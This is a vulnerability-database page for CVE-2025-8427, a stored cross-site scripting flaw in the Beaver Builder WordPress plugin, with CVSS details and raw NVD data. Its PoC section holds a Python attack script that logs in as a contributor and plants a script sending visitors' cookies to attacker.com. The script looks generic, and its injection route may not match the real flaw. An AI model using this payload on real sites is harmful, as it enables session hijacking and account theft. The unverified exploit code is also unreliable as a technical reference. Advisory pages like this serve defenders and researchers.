Security Vulnerability Report
中文
CVE-2025-8427 CVSS 6.4 MEDIUM

CVE-2025-8427

Published: 2025-10-23 13:15:46
Last Modified: 2025-12-19 22:15:33

Description

The Beaver Builder Plugin (Starter Version) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘auto_play’ parameter in all versions up to, and including, 2.9.2.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:fastlinemedia:beaver_builder:*:*:*:*:lite:wordpress:*:* - VULNERABLE
Beaver Builder Plugin (Starter Version) <= 2.9.2.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-8427 PoC - Stored XSS in Beaver Builder Plugin # Target: WordPress with Beaver Builder Plugin <= 2.9.2.1 # Authentication: Contributor-level access required TARGET_URL = "https://vulnerable-site.com" USERNAME = "attacker" PASSWORD = "password" def get_auth_token(): """Obtain WordPress authentication nonce""" login_url = f"{TARGET_URL}/wp-login.php" session = requests.Session() login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In' } response = session.post(login_url, data=login_data) if 'wordpress_logged_in' in str(response.cookies): return session return None def inject_xss_payload(session): """Inject stored XSS payload via auto_play parameter""" # WordPress REST API endpoint for Beaver Builder api_url = f"{TARGET_URL}/wp-json/wp/v2/posts/" # Malicious payload with XSS xss_payload = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>' headers = { 'Content-Type': 'application/json' } post_data = { 'title': 'Beaver Builder XSS Test', 'content': f'<!-- wp:beaver-builder-lite-global Beaver Builder Block --> [fl_module module_id="1" auto_play="{xss_payload}"] <!-- /wp:beaver-builder-lite-global -->', 'status': 'draft' } response = session.post(api_url, json=post_data, headers=headers) if response.status_code in [200, 201]: print(f"[+] XSS payload injected successfully") print(f"[+] Payload will execute when page is accessed") return True return False if __name__ == "__main__": print("[*] CVE-2025-8427 PoC - Beaver Builder Plugin Stored XSS") print("[*] Requires Contributor+ access") session = get_auth_token() if session: inject_xss_payload(session) else: print("[-] Authentication failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-8427", "sourceIdentifier": "[email protected]", "published": "2025-10-23T13:15:46.113", "lastModified": "2025-12-19T22:15:32.730", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Beaver Builder Plugin (Starter Version) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘auto_play’ parameter in all versions up to, and including, 2.9.2.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fastlinemedia:beaver_builder:*:*:*:*:lite:wordpress:*:*", "versionEndExcluding": "2.9.3.1", "matchCriteriaId": "A0341391-E208-4547-BBB7-F646B56D6921"}]}]}], "references": [{"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/afec9b5b-da37-4e12-935e-9d3bb3ca01f0?source=cve", "source": "[email protected]", "tags": ["Product", "Third Party Advisory"]}, {"url": "https://www.wpbeaverbuilder.com/change-logs/", "source": "[email protected]", "tags": ["Release Notes"]}]}}